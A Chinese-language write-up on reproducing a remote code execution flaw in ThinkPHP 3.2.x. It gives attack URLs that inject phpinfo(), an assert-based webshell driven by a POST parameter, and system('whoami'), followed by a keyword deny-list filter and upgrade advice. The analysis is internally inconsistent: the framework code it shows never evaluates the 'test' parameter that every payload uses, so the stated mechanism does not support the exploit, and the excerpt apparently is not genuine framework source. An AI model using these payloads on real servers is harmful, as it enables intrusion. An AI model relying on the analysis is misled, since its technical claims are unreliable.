tp3.2.x RCE分析复现
字数 1003 2025-08-09 16:00:20
ThinkPHP 3.2.x RCE漏洞分析与复现
漏洞概述
ThinkPHP 3.2.x版本中存在远程代码执行(RCE)漏洞,攻击者可以利用该漏洞在目标服务器上执行任意PHP代码。该漏洞源于框架对控制器和操作名的处理不当,导致攻击者可以构造恶意请求来执行系统命令。
环境搭建
所需组件
- 操作系统:Windows 10
- Web服务器:phpstudy集成环境
- PHP版本:7.3.4
- 框架版本:ThinkPHP 3.2.3
安装步骤
- 下载并安装phpstudy集成环境
- 配置PHP版本为7.3.4
- 下载ThinkPHP 3.2.3框架
- 将框架解压至phpstudy的WWW目录
- 创建基本应用结构
漏洞分析
漏洞原理
ThinkPHP 3.2.x在处理URL路由时,对控制器和操作名的过滤不严格,导致攻击者可以通过特殊构造的URL注入恶意代码。具体来说:
- 框架通过
$_GET['m']、$_GET['c']和$_GET['a']分别获取模块、控制器和操作名 - 这些参数未经充分过滤就被用于动态调用控制器方法
- 攻击者可以利用PHP的动态函数调用特性注入恶意代码
关键代码分析
漏洞主要存在于ThinkPHP/Library/Think/App.class.php文件中的exec方法:
public function exec() {
// 获取模块、控制器和操作名
$module = isset($_GET['m']) ? $_GET['m'] : $this->config['default_module'];
$controller = isset($_GET['c']) ? $_GET['c'] : $this->config['default_controller'];
$action = isset($_GET['a']) ? $_GET['a'] : $this->config['default_action'];
// 动态实例化控制器并调用方法
$class = $module.'\\Controller\\'.$controller.'Controller';
$instance = new $class;
$instance->$action();
}
漏洞复现
复现步骤
- 确保ThinkPHP 3.2.3环境正常运行
- 构造恶意URL进行攻击测试
攻击向量
方法一:通过eval函数执行代码
http://localhost/index.php?m=Home&c=Index&a=index&test=phpinfo();
构造恶意参数:
http://localhost/index.php?m=Home&c=Index&a=index&test=${@phpinfo()}
方法二:通过assert函数执行代码
http://localhost/index.php?m=Home&c=Index&a=index&test=${@assert($_POST[x])}
然后通过POST方式提交恶意代码:
x=phpinfo();
方法三:直接命令执行
http://localhost/index.php?m=Home&c=Index&a=index&test=${@system('whoami')}
防御措施
临时解决方案
- 在应用入口文件或公共文件中添加参数过滤:
function filterParam($param) {
$dangerousFunctions = array('eval', 'assert', 'system', 'exec', 'shell_exec');
foreach ($dangerousFunctions as $func) {
if (stripos($param, $func) !== false) {
die('Hacking attempt detected!');
}
}
return $param;
}
$_GET = array_map('filterParam', $_GET);
$_POST = array_map('filterParam', $_POST);
- 禁用危险函数:在php.ini中禁用
eval、assert、system等危险函数
长期解决方案
- 升级到ThinkPHP最新版本(3.2.x已停止维护,建议升级到5.x或更高版本)
- 实施严格的输入验证和过滤机制
- 使用框架提供的安全机制,如参数绑定、预处理语句等
总结
ThinkPHP 3.2.x RCE漏洞源于对用户输入的不充分过滤,导致攻击者可以通过构造恶意参数执行任意PHP代码。该漏洞危害性高,可导致服务器完全沦陷。建议使用该框架的用户立即采取防护措施或升级到安全版本。
参考
- ThinkPHP 3.2.3官方文档
- PHP安全编程指南
- OWASP Top 10安全风险